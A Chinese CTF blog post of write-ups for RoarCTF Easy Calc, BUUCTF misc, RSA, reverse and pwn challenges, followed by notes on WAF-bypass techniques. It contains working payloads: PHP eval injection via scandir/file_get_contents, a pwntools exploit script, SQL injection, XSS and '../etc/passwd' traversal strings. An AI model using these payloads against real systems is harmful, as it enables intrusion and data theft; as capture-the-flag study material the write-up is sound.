当前位置: 首页 > article >正文

寒假2.8

题解

web:[RoarCTF 2019]Easy Calc

打开,是一个计算界面

看一下源代码,提示设置了WAF,并且有一个calc.php文件

访问一下calc.php文件,得到源码,使用get方式传参赋值给num,设置了黑名单,绕过黑名单即可通过eval进行任意php语句

由于前面说了设置了WAF,我们在“?”后输入一个空格进行绕过

原理:当php进行解析时,如果变量名前面有空格,php会自动去掉前面的空格再进行解析,假如waf不允许num变量接收字母,那么使用 num就可以,而php解析时就会自动把空格去掉

也就是说,当我加了一个空格,那么服务器就认为我传入的是空格num而不是num,就不属于黑名单

输入了一个

calc.php? num=system('ls');

 我寻思ls也不在黑名单里啊,但是不行,后面看了其他大佬的wp,原来是有WAF绕过的时候基本不能传入字符,因为大多数字符都会被过滤掉

 使用scandir查看目录中的内容,找到存有flag的文件,由于/被过滤了,尝试使用chr对/的ascii码进行转换绕过,只有这个才不需要引号

? num=scandir("/")
==>? num=var_dump(scandir(chr(47)))

  

盲猜flag在里面

? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

misc:buuctf john-in-the-middle

打开附件,是一个.pcap文件

导出http数据流

保存一下

有几张图片,其中logo.png里面好像被打了马赛克,怀疑flag在这张图里

法一:用stegsolve看看,在其中一个通道发现了flag

flag{J0hn_th3_Sn1ff3r} 

法二:用stegsolve打开scanlines.png,在很多通道都可以发现有一条线

将两张图片合成,一样可以得到flag

 crypto:buuctf-RSAROLL

下载附件,给了n,e,c

用工具分解一下n,得到p,q

脚本及其解释:

import gmpy2
e = 19
p = 18443
q = 49891
n = p * q #模数
phi = (p - 1) * (q - 1) #欧拉函数值
d = gmpy2.invert(e, phi)#计算私钥d
c=[704796792,752211152,
274704164,
18414022,
368270835,
483295235,
263072905,
459788476,
483295235,
459788476,
663551792,
475206804,
459788476,
428313374,
475206804,
459788476,
425392137,
704796792,
458265677,
341524652,
483295235,
534149509,
425392137,
428313374,
425392137,
341524652,
458265677,
263072905,
483295235,
828509797,
341524652,
425392137,
475206804,
428313374,
483295235,
475206804,
459788476,
306220148]
m = [pow(i, d, n) for i in c]#使用公式 m = c^d mod n 对每个密文值进行解密
message = ''.join([chr(i) for i in m])#将解密后的整数值转换为对应的ASCII字符并拼接
print(message)

运行脚本即可得到flag

 reverse:[BJDCTF2020]JustRE

附件是一个.exe文件,运行一下试试

查壳,无壳32位

ida32打开,看不出主函数

shift+f12查看,发现了可疑字符串,点进去查看

按x交叉引用查看

找到关键函数

关键是这个

当点击次数为1999的时候,使用sprintf函数输出字符BJD{1999902069a45792d233ac},并将其设置为窗口的标题,把BJD换成flag即可得到flag

pwn:buuctf-ciscn_2019_n_8

用exeinfope查看,32位无壳

ida32打开,查看主函数,大概意思就是会读取写入的字节,放入var[ ]中,当var[13]=17LL的时候就执行system函数

找到了system函数,这里我们要想办法让var[13]=17LL

脚本:

from pwn import *
 
r = remote("node5.buuoj.cn",28096)
 
offset = 14    # var[13]一共有14个元素
payload = p32(17) * offset
 
r.sendline(payload)
r.interactive()

 运行脚本得到flag

知识点

WAF绕过

理解WAF的检测规则

  • WAF 通常基于正则表达式或规则集来检测恶意输入。

  • 通过分析 WAF 的行为(如拦截的请求、返回的错误信息),可以推测其检测规则。

  • 使用工具(如 WAFW00F)识别 WAF 的类型和版本。

常见绕过技巧

(1)大小写混淆

SELECT * FROM users;  --> sElEcT * FrOm UsErS;

 (2)编码绕过

URL编码:

SELECT * FROM users;  --> %53%45%4C%45%43%54%20%2A%20%46%52%4F%4D%20%75%73%65%72%73%3B

Unicode编码:

SELECT * FROM users;  --> \u0053\u0045\u004C\u0045\u0043\u0054\u0020\u002A\u0020\u0046\u0052\u004F\u004D\u0020\u0075\u0073\u0065\u0072\u0073\u003B

Base64编码:

SELECT * FROM users;  --> U0VMRUNUICogRlJPTSB1c2Vyczs=

(3)注释符绕过

在payload中插入注释符,干扰WAF的检测

SELECT/*comment*/ * FROM users;

(4)分块传输

将payload分成多个小块发送,绕过WAF的检测

POST /vulnerable-endpoint HTTP/1.1
Transfer-Encoding: chunked

4
SELECT
5
* FROM
6
users;
0

(5)参数污染

在请求中重复参数,利用WAF和服务器解析的差异绕过

原理:在 php 语言中 id=1&id=2 后面的值会自动覆盖前面的值,不同的语言有不同的特性

GET /vulnerable-endpoint?id=1&id=2&id=SELECT * FROM users;

(6)特殊字符绕过

使用特殊字符(如换行符、制表符)干扰 WAF 的检测

SELECT\t*\nFROM users;

(7)多语言混淆

使用多语言字符集(如宽字符绕过WAF)

SELECT * FROM users WHERE name = 'admin' AND 1=1;
--> SELECT * FROM users WHERE name = 'admin' AND 1=1;

(8)逻辑绕过

利用 WAF 的逻辑漏洞,构造合法的 payload

SELECT * FROM users WHERE id = 1 AND 1=1;
--> SELECT * FROM users WHERE id = 1 AND true;

4种情况示例

(1)SQL注入绕过

SELECT * FROM users WHERE id = 1 AND 1=1;
-->SELECT/*comment*/ * FROM users WHERE id = 1 AND 1=1;

(2)XSS绕过

<script>alert(1);</script>
--><img src=x onerror=alert(1)>

(3)文件包含绕过

?file=../../../../etc/passwd
--> ?file=....//....//....//....//etc/passwd


http://www.kler.cn/a/540103.html

相关文章:

  • JavaScript 中的防抖和节流,它们的区别是什么,以及如何实现?
  • 了解网络层
  • React受控组件的核心原理与实战精要
  • MyBatis面试题解析
  • 如何通过PHP接入DeepSeek的API
  • CSS 相关知识
  • 线上hbase rs 读写请求个数指标重置问题分析
  • ssm校园二手交易平台小程序
  • Axios 的原理
  • Vim配置AI Copilot提升编码效率
  • 使用airtest框架(跨平台)做UI自动化
  • 关系模型的数据结构及形式化定义
  • 【C语言】传值调用与传址调用详解
  • FPGA实现SDI视频解码转UltraScale GTH光口传输,基于GS2971+Aurora 8b/10b编解码架构,提供2套工程源码和技术支持
  • 【RandLA-Net】大场景语义分割网络RandLA-Net复现
  • 【react】react+umi4
  • 【centos安装mysql数据库】详细版
  • Unity3D引擎首次用于光伏仿真设计软件爆火
  • idea services快速创建多个服务实例
  • Redis简介与基础命令
  • 降维算法的数学基础
  • AF3 distogram_loss函数解读
  • 微信小程序案例2——天气微信小程序(学会绑定数据)
  • Java 开发面试全解析:15 个关键问题深度剖析
  • QNX800 virtual machine
  • Matlab自学笔记四十六:与日期向量、序列日期值、日期字符向量的转换